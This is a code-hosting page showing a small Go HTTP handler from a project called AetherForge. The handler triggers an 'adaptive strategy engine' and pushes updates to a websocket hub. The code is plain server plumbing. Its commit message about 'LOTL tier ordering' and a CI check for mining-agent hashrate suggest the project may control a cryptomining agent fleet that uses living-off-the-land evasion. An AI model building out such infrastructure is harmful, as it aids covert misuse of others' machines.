Files
AetherForge/server/internal/api/strategy_handler.go
AetherForge 85376eac7c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet adaptive strategy engine for proactive LOTL tier ordering
2026-06-07 01:15:18 -07:00

26 lines
685 B
Go

package api
import "net/http"
type StrategyHandler struct {
hub *WSHub
}
func NewStrategyHandler(hub *WSHub) *StrategyHandler {
return &StrategyHandler{hub: hub}
}
func (h *StrategyHandler) PostRecompute(w http.ResponseWriter, r *http.Request) {
if h.hub == nil || h.hub.adaptiveEngine == nil {
http.Error(w, "adaptive strategy engine unavailable", http.StatusServiceUnavailable)
return
}
count, err := h.hub.adaptiveEngine.RecomputeAll()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
pushed := h.hub.PushAdaptiveStrategyUpdates()
writeJSON(w, map[string]interface{}{"success": true, "recomputed": count, "pushed": pushed})
}